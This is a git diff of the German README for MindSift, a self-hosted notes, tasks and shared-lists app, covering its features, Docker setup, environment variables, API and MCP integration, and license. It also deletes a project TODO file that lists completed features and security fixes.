* **Kein Überschreiben:** Wer in einem Bullet schreibt, hält ihn kurz für sich; andere sehen ein Schloss mit Namen und arbeiten in den übrigen Bullets weiter. Kommt es doch zu einem Konflikt (z. B. nach Offline-Arbeit), bleibt der zweite Text als markierte Kopie mit „Übernehmen“/„Verwerfen“ erhalten.
* **Offline-fest:** Jede Eingabe wird zuerst im Browser gesichert und später übertragen, auch nach Neuladen oder Tagen ohne Netz.
* **Hinter strengen Proxys:** WebSocket → SSE → Long-Polling → Abfrage alle 3 s; MindSift wählt automatisch, was durchkommt. Der aktive Weg steht in der Leiste über der Notiz („Live“, „Abgleich alle 3 s“).
* **Hinter strengen Proxys:** WebSocket → SSE → Long-Polling → Abfrage alle 3 s; MindSift wählt automatisch, was durchkommt. Der aktive Weg steht im Editor („Live“, „Abgleich alle 3 s“).
Technik dahinter: [Doku/modules/collaboration.md](Doku/modules/collaboration.md).
<p align="center">
<img src="screenshots/workspace_desktop.webp" alt="MindSift Workspace: zwei Personen in derselben Notiz" width="90%" />
</p>
<p align="center">
<img src="screenshots/journal_desktop.webp" alt="MindSift Journal mit Kalender" width="90%" />
<img src="screenshots/workspace_desktop.png" alt="MindSift Workspace Outliner" width="90%" />
</p>
### 🛒 Geteilte Listen
* Einkaufs-, Pack- und Checklisten mit Kategorien per Hashtag (`Hafermilch #Kühlregal`), Mengenangaben und Drag & Drop zwischen Kategorien oder in eine andere Liste. Abgehakte Einträge verschwinden nach einer wählbaren Frist (Standard 7 Tage) von selbst.
* Einkaufs-, Pack- und Checklisten mit Kategorien per Hashtag (`Hafermilch #Kühlregal`), Mengenangaben und Drag & Drop zwischen Kategorien.
* Freigabe an Benutzer und Gruppen (Bearbeiter oder Leser); abgehakte Einträge erscheinen bei allen in Echtzeit.
<p align="center">
<img src="screenshots/Listen_desktop.webp" alt="MindSift Geteilte Listen" width="90%" />
<img src="screenshots/Listen_desktop.png" alt="MindSift Geteilte Listen" width="90%" />
</p>
### 🏢 Benutzer, Gruppen, Administration
* Geführte Ersteinrichtung, Rollen *Admin* und *Mitglied*. Einladungen als Code oder Link (auch für mehrere Personen, auf Wunsch per E-Mail verschickt). Registrierung ohne Einladung wahlweise geschlossen, mit Freigabe durch einen Admin, nur für bestimmte E-Mail-Endungen oder offen, auf Wunsch mit Bestätigung der E-Mail-Adresse per Link – auch fest per Umgebungsvariable.
* Geführte Ersteinrichtung, Rollen *Admin* und *Mitglied*, Einladungscodes, optional offene Registrierung.
* Gruppen mit Gruppen-Admins für Freigaben.
* Admin-Bereich: Benutzer, Einladungen, Instanzname, SMTP, Freigabe-Modus, Sicherungen, Spracherkennung, ob „dauerhaft aufbewahren“ erlaubt ist.
### 🎨 Darstellung & App
* **Fünf Farbfamilien** mit je einer hellen und dunklen Variante: Klassik, Fjord, Terrakotta, Polarized, Suri. Hell/Dunkel auf Wunsch „Wie System“, dazu eine eigene Akzentfarbe, Ecken rund oder eckig und Knöpfe mit oder ohne Rahmen (pro Gerät). Für eigene Themes gibt es einen Theme-Manager (eine CSS-Datei).
* **Installierbar als App (PWA)** auf Smartphone und Desktop. Nach einem Server-Update meldet die offene App „Neue Version verfügbar“ und lädt auf Wunsch neu; beim Neuladen bleibt der zuletzt offene Bereich offen. Sie startet auch ohne Netz mit dem zuletzt geladenen Stand; offline erfasste Gedanken und abgehakte Aufgaben oder Listeneinträge werden nachgereicht, sobald die Verbindung wieder da ist.
<table>
<tr>
<td align="center"><img src="screenshots/Theme_fjord.webp" alt="Farbfamilie Fjord, links hell, rechts dunkel" /><br /><sub><b>Fjord</b></sub></td>
<td align="center"><img src="screenshots/Theme_terracotta.webp" alt="Farbfamilie Terrakotta, links hell, rechts dunkel" /><br /><sub><b>Terrakotta</b></sub></td>
</tr>
<tr>
<td align="center"><img src="screenshots/Theme_polarized.webp" alt="Farbfamilie Polarized, links hell, rechts dunkel" /><br /><sub><b>Polarized</b></sub></td>
<td align="center"><img src="screenshots/Theme_suri.webp" alt="Farbfamilie Suri, links hell, rechts dunkel" /><br /><sub><b>Suri</b></sub></td>
</tr>
</table>
* Admin-Bereich: Benutzer, Einladungen, Instanzname, SMTP, Freigabe-Modus.
* Vier Themes (Dark, Light, High-Contrast, Soft), installierbar als PWA. Die App startet auch ohne Netz mit dem zuletzt geladenen Stand; offline erfasste Gedanken und abgehakte Aufgaben oder Listeneinträge werden nachgereicht, sobald die Verbindung wieder da ist.
### 🔌 Integrationen
* **API mit Schlüsseln:** Pro Schlüssel schaltbare Rechte (Aufgaben und Listen lesen, anlegen, ändern; Inbox füllen), gleich für beide Zugänge. Notizen und Einstellungen bleiben außen vor.
* **curl / Smart Home:** z. B. `GET /api/v1/tasks?due=today&status=open` für einen Home-Assistant-Sensor „Heute fällig“, abhaken per `PATCH`, Gedanken, Aufgaben und Listeneinträge einliefern per `POST /api/v1/webhooks/ingest`.
* **KI-Agenten (MCP):** MindSift ist ein MCP-Server (`POST /api/v1/mcp`, Streamable HTTP). Claude Code, OpenAI Codex, Claude Desktop, Cursor und eigene Agenten lesen, legen an, ändern, haken ab und löschen Aufgaben, legen Aufgabenlisten und Listen an und führen Einkaufs- und Checklisten. `claude mcp add --transport http mindsift https://…/api/v1/mcp --header "X-API-Key: mindsift_sec_…"`. **claude.ai und ChatGPT** verbinden sich ohne Schlüssel per OAuth: Adresse als Connector eintragen, in MindSift anmelden und die Rechte wählen (braucht `BASE_URL`).
* **Herkunft:** Was ein Schlüssel anlegt oder ändert, trägt dauerhaft eine Badge mit seinem Namen; Mouseover oder Tippen zeigt, wer wann angelegt und geändert hat.
* **Ausgehend:** eigener Webhook als Benachrichtigungskanal (JSON per POST), Discord, E-Mail, Push.
* Persönliche API-Keys, Datenexport als JSON, Markdown-Archiv (Obsidian-kompatibel).
* **Webhook / API-Key:** `POST /api/v1/webhooks/ingest` legt Aufgaben aus Smarthome, Skripten oder Automationen an.
* Persönliche API-Keys, Datenexport als JSON.
---
@@ -162,14 +123,12 @@ curl -fsSL https://git.dsit.me/sandrodach/MindSift/raw/branch/dev/.env.example -
docker compose up -d
```
Alle Einstellungen stehen mit Erklärung in `.env`. Optional kommt eine eigene Spracherkennung dazu: Block `whisper` in `docker-compose.yml` einkommentieren und `STT_URL=http://whisper:8000` setzen (Anleitung in der Datei).
Minimal:
```yaml
services:
mindsift:
image: git.dsit.me/sandrodach/mindsift:latest # :latest = Stand von main (jede Version), :dev = Entwicklungsstand
image: git.dsit.me/sandrodach/mindsift:stable # oder feste Version (:v0.4); :latest = main, :dev = Entwicklungsstand
restart: unless-stopped
ports: ["8080:8080"]
volumes: ["./data:/data"]
@@ -195,34 +154,21 @@ Rufe `http://localhost:8080` auf. Beim ersten Start führt ein Assistent durch d
| `JWT_SECRET` | zufällig erzeugt (`/data/jwt.secret`) | Signaturschlüssel der Anmelde-Tokens; Platzhalter werden ignoriert |
| `BASE_URL` | `http://localhost:8080` | Öffentliche URL. Nur wenn gesetzt (und SMTP eingerichtet ist), gibt es „Passwort vergessen?“ – die Links in den Mails werden ausschließlich daraus gebaut |
| `TRUSTED_PROXIES` | `private` | Wessen `X-Forwarded-For`/`X-Real-IP` geglaubt wird: `private` (Proxy im Docker-/Heimnetz), `all` (immer, früheres Verhalten), `none` oder eigene CIDR-Bereiche ([Doku/reverse-proxy.md](Doku/reverse-proxy.md#client-ip-und-trusted_proxies)) |
| `MCP_ENABLED` | leer (Admin-UI entscheidet) | `false` schaltet den MCP-Endpunkt für KI-Agenten ab, damit auch die Connector-Anmeldung (OAuth) für claude.ai und ChatGPT; `true` lässt ihn fest an. API-Schlüssel funktionieren per curl weiter |
| `OAUTH_IDLE_DAYS` | `90` | Verbindungen von claude.ai, ChatGPT & Co. (OAuth), die so viele Tage nicht benutzt wurden, werden getrennt. `0` = nie. OAuth selbst gibt es nur mit `BASE_URL` |
| `LOGIN_PROTECTION` | `true` | Sperre nach Fehlversuchen: 3 pro Konto und Adresse, 20 pro Konto, 30 pro Adresse, jeweils 15 Minuten. `false` schaltet sie ab |
| `TZ` | `Europe/Berlin` | Zeitzone für Fälligkeiten und Alarme (ganztägige Aufgaben melden sich um 9:00) |
| `REGISTRATION_MODE` | leer (Admin-UI entscheidet) | Registrierung ohne Einladung: `closed`, `approval` (Admin gibt frei), `domain` (nur erlaubte E-Mail-Endungen), `domain+approval` (Endungen sofort, andere nach Freigabe), `open`. Gesetzt ist es im Admin-UI gesperrt |
| `REGISTRATION_DOMAINS` | leer | Erlaubte E-Mail-Endungen für die `domain`-Modi, z. B. `firma.de, *.firma.de`; gesetzt im Admin-UI gesperrt |
| `REGISTRATION_VERIFY_EMAIL` | leer (Admin-UI entscheidet) | `true`: Wer sich ohne Einladung registriert, bestätigt zuerst seine E-Mail-Adresse per Link (braucht SMTP und `BASE_URL`); unbestätigte Konten werden nach 48 Stunden gelöscht |
| `ALLOW_REGISTRATION` | `false` | `true` = wie `REGISTRATION_MODE=open` (gesperrt); `false` lässt die Wahl dem Admin-UI |
| `ALLOW_REGISTRATION` | `false` | Offene Registrierung (im Admin-UI änderbar) |
| `LOG_LEVEL` / `DEBUG` | `info` / `false` | Logging |
| `SMTP_HOST`, `SMTP_PORT`, `SMTP_USER`, `SMTP_PASS`, `SMTP_FROM`, `SMTP_TLS` | leer | E-Mail-Alarme (auch im Admin-UI) |
| `SMTP_FROM_NAME` | `MindSift` | Anzeigename des Absenders bei E-Mails |
| `SMTP_SKIP_VERIFY` | `false` | Zertifikatsprüfung für interne Mailserver abschalten |
| `NOTIFY_DIGEST_MINUTES` | `5` | Bündelungsintervall für Benachrichtigungen in Minuten |
| `VAPID_PUBLIC_KEY`, `VAPID_PRIVATE_KEY`, `VAPID_SUBJECT` | automatisch | Schlüssel für Push-Benachrichtigungen; ohne Angabe einmal erzeugt und in der Datenbank gespeichert. `VAPID_SUBJECT` (Kontakt für die Push-Dienste, `mailto:` oder `https://`) sonst aus `BASE_URL` |
| `MEDIA_*` | diverse | Grenzen für Bilder und Audio in Notizen (`MEDIA_MAX_IMAGE_MB=15`, `MEDIA_MAX_AUDIO_MB=50`, `MEDIA_QUOTA_MB=0`) |
| `STT_*` | diverse | Optionale eigene Spracherkennung per Whisper (`STT_URL`, `STT_MODEL`, `STT_LANGUAGE`, `STT_ALLOW_BROWSER` …; siehe [Doku/architecture.md](Doku/architecture.md#spracherkennung)) |
| `RETENTION_ALLOW_NEVER` | leer (Admin-UI entscheidet) | `false`: Bei den Aufbewahrungsfristen gibt es „nie“ nicht (Erledigtes und Gelöschtes wird immer irgendwann aufgeräumt); `true` erlaubt es fest |
| `LEGAL_IMPRINT_URL`, `LEGAL_PRIVACY_URL` | leer | Impressum/Datenschutz als externer Link (nur `http(s)`) |
| `LEGAL_IMPRINT_CONTENT`, `LEGAL_PRIVACY_CONTENT` (oder `…_CONTENT_FILE` mit Dateipfad) | leer | Impressum/Datenschutz als Markdown, angezeigt in einem Lesefenster. Ohne URL und Text bleibt der Link unsichtbar. |
| `LEGAL_CUSTOM_LINK_LABEL`, `LEGAL_CUSTOM_LINK_URL` | leer | Zusätzlicher Link im Footer (z. B. Statusseite), nur `https` |
| `MINDA_DEMO` | `false` | Legt Demo-Konten `admin/admin` (mit Beispieldaten) und `user/user` an; eine Notiz und zwei Listen sind zwischen beiden geteilt, um das gemeinsame Bearbeiten auszuprobieren. **Nie auf öffentlichen Servern!** |
| `DEMO_RESET_MINUTES` | `20` | Nur im Demo-Modus: setzt die Datenbank in diesem Abstand auf die Beispieldaten zurück (`0` = nie). Angemeldete bleiben angemeldet, die App zeigt einen Countdown und lädt danach neu. |
* **Reverse-Proxy:** Am besten WebSocket-Upgrade und ungepufferte SSE-Streams durchreichen. Blockiert ein Proxy beides, funktioniert MindSift trotzdem über Long-Polling bzw. regelmäßige Abfragen, nur etwas träger. Beispiele für Nginx, Traefik, Caddy und Cloudflare: [Doku/reverse-proxy.md](Doku/reverse-proxy.md).
* **Datensicherung:** In den Admin-Einstellungen lassen sich automatische tägliche Backups einschalten (ganze Datenbank plus ein Backup je Benutzer unter `data/backups/`, Standard 3 Tage aufbewahrt). Benutzer laden ihre Server-Backups herunter oder spielen sie ganz oder für einzelne Bereiche wieder ein. Der Ordner liegt neben der Datenbank: zusätzlich woanders sichern. Manuell geht weiterhin `sqlite3 mindsift.db ".backup 'backup.db'"`.
* **Updates:** Neues Image ziehen und Container neu starten (`docker compose pull && docker compose up -d`). Das Schema wird beim Start automatisch angepasst. Die laufende Version steht im Kopf der App unter dem Namen; offene Apps bieten danach selbst das Neuladen an.
* **Image-Tags:** `:dev` = Stand des Branches `dev`, `:latest` = Stand von `main` (jede neue Version landet dort). Ein Git-Tag wie `v1.2.0` erzeugt zusätzlich `:v1.2.0` und `:stable`; Vorabversionen wie `v1.0.0-rc.1` verschieben `:stable` nicht.
* **Versionen & Änderungen:** [Semantic Versioning](https://semver.org/spec/v2.0.0.html), was sich geändert hat, steht in der [CHANGELOG.md](CHANGELOG.md).
* **Updates:** Neues Image ziehen und Container neu starten (`docker compose pull && docker compose up -d`). Das Schema wird beim Start automatisch angepasst. Die laufende Version steht im Kopf der App unter dem Namen.
* **Image-Tags:** `:dev` = Stand des Branches `dev`, `:latest` = Stand von `main`, `:stable` = zuletzt veröffentlichte Version. Ein Git-Tag wie `v1.2.0` erzeugt `:v1.2.0` und verschiebt `:stable` darauf.
---
@@ -243,12 +189,12 @@ npm run test:run # Komponententests (Vitest, jsdom)
npm run build # Produktions-Build
cd ..
e2e/run.sh # Browser-Tests (Playwright, zwei Benutzer) gegen ein frisch gebautes Image
e2e/screenshots.sh # Screenshots dieser README neu erzeugen (Demo-Daten, hell/dunkel diagonal)
APP_VERSION=v0.4 e2e/screenshots.sh # Screenshots dieser README neu erzeugen (Demo-Daten)
```
Für das Binary wird das gebaute Frontend nach `cmd/server/dist` kopiert (`go:embed`); das mehrstufige `Dockerfile` erledigt das und führt Typprüfung, Frontend-Tests, Go-Vet und Go-Tests beim Image-Build aus.
**Stack:** Go (chi, gorilla/websocket, JWT, modernc SQLite, webpush-go) · React 18, TypeScript, Vite, Tailwind.
**Stack:** Go (chi, gorilla/websocket, JWT, modernc SQLite) · React 18, TypeScript, Vite, Tailwind.
---
@@ -260,14 +206,14 @@ Die technische Doku liegt unter [Doku/](Doku/README.md): Architektur, Datenbank,
## 🔒 Deine Daten gehören dir
* Selbst gehostet, keine Telemetrie, keine Fremddienste, Schrift und Icons werden mitgeliefert. Ausgehende Verbindungen baut nur der Server auf, und nur für das, was du nutzt: Benachrichtigungen (SMTP, Discord, eigener Webhook, die Push-Dienste der Browser), Link-Vorschauen (die verlinkte Seite wird einmal abgerufen, pro Gerät abschaltbar) und optional dein eigener Whisper-Server.
* Alle Inhalte liegen in einer einzigen SQLite-Datei; Bilder und Sprachnotizen liegen daneben in `data/media/`. Der ganze Workspace lässt sich als Obsidian-kompatibles Markdown-Archiv (ZIP, mit `attachments/`) exportieren, alle Daten eines Benutzers als Backup-ZIP (JSON plus Mediendateien).
* Selbst gehostet, keine Telemetrie, keine Fremddienste. Ausgehende Verbindungen gibt es nur zu den Alarm-Zielen, die du selbst einrichtest (SMTP, Discord, Webhook).
* Alle Inhalte liegen in einer einzigen SQLite-Datei; der ganze Workspace lässt sich als Obsidian-kompatibles Markdown-Archiv (ZIP) exportieren, alle Daten eines Benutzers als JSON.
---
## 📄 Lizenz
MindSift ist freie Software unter der [GNU Affero General Public License v3.0](LICENSE) (AGPLv3): Du darfst den Code nutzen, ändern und weitergeben, auch kommerziell. Wer eine geänderte Fassung weitergibt oder als Dienst im Netz anbietet, muss deren Quellcode unter derselben Lizenz zugänglich machen. Es gibt keine Gewährleistung.
MindSift ist gemeinfrei unter [The Unlicense](LICENSE): Du darfst den Code ohne jede Bedingung nutzen, ändern, weitergeben und verkaufen, auch ohne Namensnennung. Es gibt keine Gewährleistung.
<div align="center">
<sub>Gebaut für Klarheit, Geschwindigkeit und digitale Souveränität.</sub>
-294
View File
@@ -1,294 +0,0 @@
# 📋 MindSift – Projekt-TODOs
> **Zweck & Kontext:**
> Diese Datei enthält strukturierte, technische Arbeitsaufträge und Feature-Spezifikationen für ausführende Entwickler- und Agenten-KIs.
> Sie wird fortlaufend gepflegt, priorisiert und mit konkreten Implementierungsdetails angereichert.
---
## 📱 Frontend – Mobile Version
*Aufgaben, UI/UX und Touch-Optimierungen für Smartphones & Tablets.*
---
## 🖥️ Frontend – Desktop Version
*UI/UX, Tastatur-Shortcuts, Layouts und Ansichten für Desktop-Browser.*
---
## ⚙️ Backend & Schnittstellen
*Go-Services, SQLite-Persistenz, REST/WebSocket-Endpunkte und Hintergrundjobs.*
### Allgemein / Core
### Mobile-spezifisch
- [ ] *(Aktuell keine offenen Aufgaben)*
### Desktop-spezifisch
- [ ] *(Aktuell keine offenen Aufgaben)*
---
## 💡 Konzept, UX & Planung
*Architektur, UI-Guidelines und systemübergreifende Entscheidungen.*
- [ ] **Anmeldung per OpenID Connect** (zurückgestellt, aktuell kein Bedarf) – Login über Gitea, Authentik, Google & Co. Ausgearbeitet in [Doku/plans/registrierung-und-login.md](Doku/plans/registrierung-und-login.md), Abschnitt 4.
---
## 📋 Organisation & Dokumentation
*Tickets, Dokumentation, Release-Vorbereitungen und DevOps/Deployment.*
---
## 📦 Verschiedenes / Backlog
*Unsortierte Notizen, vage Ideen und Sonstiges.*
---
## ✅ Erledigt
*Abgeschlossene Aufgaben und Features mit Referenz.*
- [x] **Theme-Manager in den Benutzereinstellungen (Upload & CSS-Editor im WordPress-Stil)** *(Commit `bf0d68e`)*
- Theme-Upload (`.css`-Dateien), Copy-Paste von CSS, Vorlagen-Download/Kopieren, dynamische Live-Injection via `<style id="mindsift-custom-theme">` und Einbindung in die Theme-Galerie.
- [x] **Persistenz für benutzerdefinierte Themes in SQLite & API-Endpunkte** *(Commit `bf0d68e`)*
- SQLite-Tabelle `user_themes` und REST-Endpunkte (`GET / POST / DELETE /api/v1/themes`) für persistente Custom-Themes pro Benutzer.
- [x] **Admin-Einstellungen: Checkboxen für SMTP durch Toggle-Switches ersetzen** *(Commit `ce321ce`)*
- SMTP-Haken sind Toggle-Switches (`ToggleSwitch`), neuer Schalter „Zertifikatsprüfung deaktivieren“.
- [x] **SMTP-Client & E-Mail-Alarme härten (Fix: `451 4.3.2 Internal server error`)** *(Commit `ce321ce`)*
- Expliziter SMTP-Ablauf mit Fehlerangabe pro Schritt (`smtp_step`), EHLO mit Absender-Domain, nackte Adresse im Umschlag, `Date`/`Message-ID`, kodierter Betreff; Tests gegen Fake-SMTP-Server.
- [x] **Option zur Deaktivierung der TLS-Zertifikatsprüfung für SMTP (`smtpSkipVerify`)** *(Commit `ce321ce`)*
- `SMTP_SKIP_VERIFY` in Config, Systemeinstellungen und Admin-UI; gilt für Port 465 und STARTTLS.
- [x] **Zentrale `CountBadge`-Komponente & einheitliches Theming schaffen** *(Commit `a62b204`)*
- `CountBadge` (accent/muted, inline/corner, 99+) für Navigation, Tabs, Admin und mobiles Menü; `badge-count` entfernt; Vorlage leitet Akzent-Töne aus der Akzentfarbe ab.
- [x] **Aufgaben-Counter im mobilen Listen-Menü für „Alle Aufgaben" ergänzen** *(Commit `a62b204`)*
- „Alle Aufgaben“ zeigt im mobilen Menü die Zahl offener Aufgaben (inkl. geteilter Listen).
- [x] **Aufgaben-Counter im Tab „Alle Aufgaben" anzeigen** *(Commit `a62b204`)*
- Zähler am Tab; Backend zählt offene Aufgaben jetzt wie die Ansicht „Alle Aufgaben“ (auch fremde Aufgaben in geteilten Listen).
- [x] **Badge-Positionierung in Tabs an Titelleiste/App-Icons angleichen (Top-Right)** *(Commit `a62b204`)*
- Zähler sitzen oben rechts an den Tabs der Aufgabenlisten und Listen.
- [x] **Impressum- & Datenschutz-Links im Login- und Einstellungs-Footer (mit Auto-Hide)** *(Commit `d6c70d7`)*
- Links unter der Anmelde-/Einrichtungsbox und im Footer der Kontoeinstellungen (`LegalLinks`): URL im neuen Tab, Markdown im Lesefenster, unsichtbar ohne Konfiguration.
- [x] **Konfigurierbare Rechtstexte (Impressum & Datenschutz via ENV)** *(Commit `d6c70d7`)*
- `LEGAL_IMPRINT_/PRIVACY_URL` und `…_CONTENT` (auch `…_CONTENT_FILE`), nur `http(s)`-URLs; `legal` in `/auth/status`, öffentlich `GET /api/v1/legal/{imprint|privacy}`.
- [x] **„Über MindSift"-Bereich mit Versionsinfo & GitHub-Link** *(Commit `d6c70d7`)*
- Fenster „Über MindSift“ (Version, Lizenz, Philosophie, Repository-Link) aus Kontoeinstellungen und Hilfe; Link/Lizenz als Konstanten in `AboutModal.tsx` (Repo zeigt auf git.dsit.me, Lizenz noch nicht festgelegt).
- [x] **Markdown-Tree-Export als direktes Streaming-ZIP (Obsidian-kompatibel)** *(Commit `e509f68`)*
- `GET /api/v1/export/markdown` streamt die ZIP ohne Temp-Dateien: Ordnerstruktur wie im Workspace (inkl. geteilter), YAML-Frontmatter, Obsidian-taugliches Markdown, `Aufgaben/` im Tasks-Plugin-Format, `Listen/`.
- [x] **Globale Schnellsuche & Spotlight-Palette (`Cmd+K` / `Ctrl+K`)** *(Commit `71fa53e`)*
- Gemini; gemergt in `a044620`, geprüft (Zugriff, Cmd+K, Enter öffnet). Markierungsfarbe in `a62b189` ans Theme angepasst.
- [x] **Volltextsuche auf SQLite FTS5 (Full-Text Search) umstellen** *(Commit `71fa53e`)*
- Gemini; FTS5 mit Triggern, Backfill, BM25, Snippets, Zugriffsprüfung je Typ; gemergt in `a044620`.
- [x] **Vollständige Emoji-Bibliothek für Notizen-Header einbinden** *(Commit `633bd6f`)*
- Gemini; `emoji-picker-react` 4.12.0, lazy geladen; gemergt in `a044620`.
- [x] **Emoji-Modal für Notiz-Icon responsiv & tastatur-optimiert umbauen** *(Commit `633bd6f`)*
- Gemini; mobiles Bottom-Sheet mit Autofokus und großen Touch-Zielen; gemergt in `a044620`.
- [x] **Demo-Modus: Automatischer Reset der Datenbank bei jedem Serverstart** *(Commit `9c6598c`)*
- Gemini; Reset nur bei aktivem Demo-Modus (getestet), nutzt die gemeinsame Drop-Funktion; gemergt in `a044620`.
- [x] **SMTP: `AUTH LOGIN`-Fallback & alternative SASL-Authentifizierung implementieren** *(Commit `d8a16c6`)*
- `AUTH LOGIN` direkt, wenn nur LOGIN angeboten wird; nach abgelehntem PLAIN neue Verbindung mit LOGIN (net/smtp schließt nach gescheitertem AUTH). Scheitern beide mit 451, nennt die Meldung beide Versuche und verweist auf das SASL-Backend des Mailservers. Tests mit Fake-Server.
- [x] **Markdown-Tree-Import aus ZIP (Obsidian-Vault-Support)** *(Commit `1601a6a`)*
- Zwei Wege: `POST /import/mindsift` (JSON-Backup oder MindSift-Archiv, Rundreise inkl. Aufgaben/Listen/Triage) und `POST /import/obsidian` (Vault in eigenen Ordner, Checkboxen bleiben, Tags → #Hashtags). Vorschau mit `?preview=1`, Grenzen gegen ZIP-Bomben und `..`-Pfade, Tests.
- [x] **UI für Obsidian- / Markdown-Tree Backup-Export und ZIP-Import integrieren** *(Commit `1601a6a`)*
- Export-Button (`e509f68`) und zwei Import-Karten „MindSift-Daten“ / „Obsidian-Vault“ mit Drag & Drop, Vorschau, Bestätigen und Ergebnis (inkl. übersprungener Dateien).
- [x] **Mobile Unterstützung für Backup-Download & ZIP-Import** *(Commit `1601a6a`)*
- Download hängt den Link ins Dokument und gibt die URL verzögert frei (mobil getestet); Datei-Buttons mit 44 px Touch-Höhe, `accept=".json,.zip"`; Import mobil im Browser geprüft.
- [x] **PWA Splash-Screen & Ladebildschirm: Vollflächig Blau mit zentriertem Logo** *(Commit `9bc8716`)*
- Manifest mit kurzem Namen und `#2563eb`; blauer HTML-Platzhalter mit Logo in `#root` bis React startet (ohne JS geprüft); `theme-color` startet blau und folgt danach dem Theme. iOS-Startbilder (`apple-touch-startup-image`) gibt es weiterhin nicht.
- [x] **Eingabefeld für API-Key-Namen auf mobilen Geräten vergrößern** *(Commit `0e9fd1b`)*
- Feld und Button mobil 44 px, Schrift 16 px; Ursache war `flex-1` im untereinander gestapelten Layout, das die Höhe auf den Inhalt schrumpfte.
- [x] **Admin-Settings: SMTP-Port-Eingabe reparieren & Typen-Mismatch beheben („Ungültiges JSON“)** *(Commit `a3a7094`)*
- Port als Text (nur Ziffern) im Formular, lässt sich leeren; Server akzeptiert Zahl oder Text (`SystemSettings.UnmarshalJSON`), getestet.
- [x] **MindSift-Backup-Import: Modus-Auswahl „Hinzufügen“ vs. „Wiederherstellen (Alles überschreiben)“** *(Commit `0e9fd1b`)*
- „Hinzufügen“ / „Wiederherstellen“ mit Warnung und Pflicht-Haken; `?mode=restore` löscht die eigenen Daten erst nach vollständiger Prüfung der Datei, in einer Transaktion.
- [x] **Gefahrenzone in Benutzereinstellungen: „Alle Daten löschen“ & „Konto löschen“** *(Commit `0e9fd1b`)*
- „Daten löschen“ und „Konto löschen“ im Bereich Profil & Sicherheit, beide mit Passwort; Konto-Button für den letzten Admin deaktiviert mit Hinweis; nach Kontolöschung Abmeldung zur Login-Seite.
- [x] **Selbstbedienung: Daten löschen & Konto löschen (inkl. Schutz für letzten Admin)** *(Commit `0e9fd1b`)*
- `DELETE /user/data`, `DELETE /user/account` (Passwort nötig, 403 für letzten Admin); `PurgeUserData` in einer Transaktion, Aufgaben anderer in eigenen geteilten Listen bleiben deren Aufgaben; auch Admin-Löschung räumt jetzt vollständig auf.
- [x] **UI für wiederkehrende Aufgaben (Auswahl & Icon)** *(Commit `588c679`)*
- Auswahl im Detail-Fenster (Keine / 🔁 Täglich / Wöchentlich / Monatlich / Jährlich) mit Hinweis; dezentes Wiederholungs-Symbol an Zeilen und Kanban-Karten.
- [x] **Wiederkehrende Aufgaben: Automatische Folge-Aufgabe bei Erledigung erzeugen** *(Commit `588c679`)*
- Spalte `recurrence`; Abhaken auf allen Wegen (Detail, Liste, Kanban, Notiz-Checkbox) erzeugt die Nachfolgerin mit kopierten Feldern, zurückgesetzten Unteraufgaben und fortgeschriebenem Datum (Monatsende abgefangen), live per `TASK_CREATED`; höchstens eine Nachfolgerin pro Aufgabe; Export/Import behalten die Regel.
- [x] **Mobile Eingabe für Fälligkeits-Uhrzeit optimieren** *(Commit `344f5e4`)*
- Datum- und Uhrzeitfeld nebeneinander, mobil 44 px hoch mit nativen Pickern; „✕ Uhrzeit“ in der Schnellwahl macht die Aufgabe wieder ganztägig, ✕ entfernt die Fälligkeit.
- [x] **Fälligkeiten mit Uhrzeit im Task-Detail-Modal & Aufgabenansichten unterstützen** *(Commit `344f5e4`)*
- Format `YYYY-MM-DDTHH:MM` (API nimmt auch Leerzeichen/Sekunden an); Anzeige „Heute, 14:30“, „Morgen“, „Fr., 06.11.“; Überfälliges minutengenau rot; Gruppieren/Sortieren nach lokalem Tag und Uhrzeit (vorher UTC-Datum). Schnellwahl behält die Uhrzeit, Wiederholungen auch, Markdown-Export/-Import ebenso.
- [x] **Alarm-System härten: `alarm_sent` zurücksetzen & Fälligkeiten mit Uhrzeit auswerten** *(Commit `344f5e4`)*
- Alarm zur Uhrzeit (ganztägig 9:00) minus Vorlaufzeit, Zeitzone `TZ` (Standard Europe/Berlin, tzdata eingebettet); neue Fälligkeit oder Wiederöffnen (Detail, Kanban, Notiz-Checkbox, Triage) setzt `alarm_sent` zurück; Folgeaufgaben starten mit 0. Mails zeigen „30.10.2026, 14:30 Uhr“. Offen in FLAW-12: Backoff bei Fehlern.
- [x] **Sicherheitslücke FLAW-04: Fest eincodiertes Fallback-`JWT_SECRET` absichern** *(Commit `4cdbcbd`)*
- Ohne `JWT_SECRET` oder mit bekanntem Platzhalter erzeugt der Server einen Zufallswert und speichert ihn als `jwt.secret` (0600) im Datenverzeichnis.
- [x] **Sicherheitslücke FLAW-05: SSRF-Schutz für Webhook- und Discord-Alarm-URLs** *(Commit `62463bc`)*
- https-Pflicht, Discord nur discord.com/api/webhooks/, eigener Resolver beim Verbinden (localhost/Link-Local/Metadaten immer gesperrt), Heimnetz und http nur mit Admin-Schalter „Alarm-Webhooks ins lokale Netz erlauben“, keine Proxys, max. 3 Weiterleitungen.
- [x] **Papierkorb für Notizen: Soft-Delete, Wiederherstellung & endgültiges Löschen** *(Commit `f69f74f`)*
- `is_archived` + `archived_at`/`archived_by`; Löschen (auch ganzer Ordner) verschiebt in den Papierkorb; raus aus Baum, Suche, Export, Statistik und für alle Empfänger unsichtbar; Endpunkte `GET/DELETE /documents/trash`, `POST /documents/{id}/restore`, `DELETE /documents/{id}/permanent`; Wiederherstellen legt fehlende Ordner neu an.
- [x] **Papierkorb-Ansicht & Wiederherstellung im Workspace (Notizen)** *(Commit `f69f74f`)*
- Eintrag mit Zähler unten in der Ordnerleiste; Liste mit Ordner und Löschzeitpunkt, „Wiederherstellen“, „Endgültig löschen“ und „Papierkorb leeren“ jeweils mit zweitem Tipp; Notiz im Papierkorb schreibgeschützt mit Hinweisleiste und „Wiederherstellen“.
- [x] **Papierkorb für Notizen im mobilen Workspace integrieren** *(Commit `f69f74f`)*
- Menüpunkt „Papierkorb“ mit Zähler im mobilen Menü und in der Ordnerliste; mobile Ansicht mit 44-px-Buttons und Zurück-Pfeil.
- [x] **Backlink-Index & Abfrage für Notizen („What links here“)** *(Commit `677fe0f`)*
- `GET /documents/{id}/backlinks`: Notizen mit `[[Titel]]` (auch `|Alias`, `#Abschnitt`, Groß/klein egal), nur sichtbare, ohne Papierkorb und die Notiz selbst; bis zu 5 Fundstellen pro Notiz plus `more`.
- [x] **Wiki-Style Backlink-Bereich („What links here“) am Notiz-Ende** *(Commit `677fe0f`)*
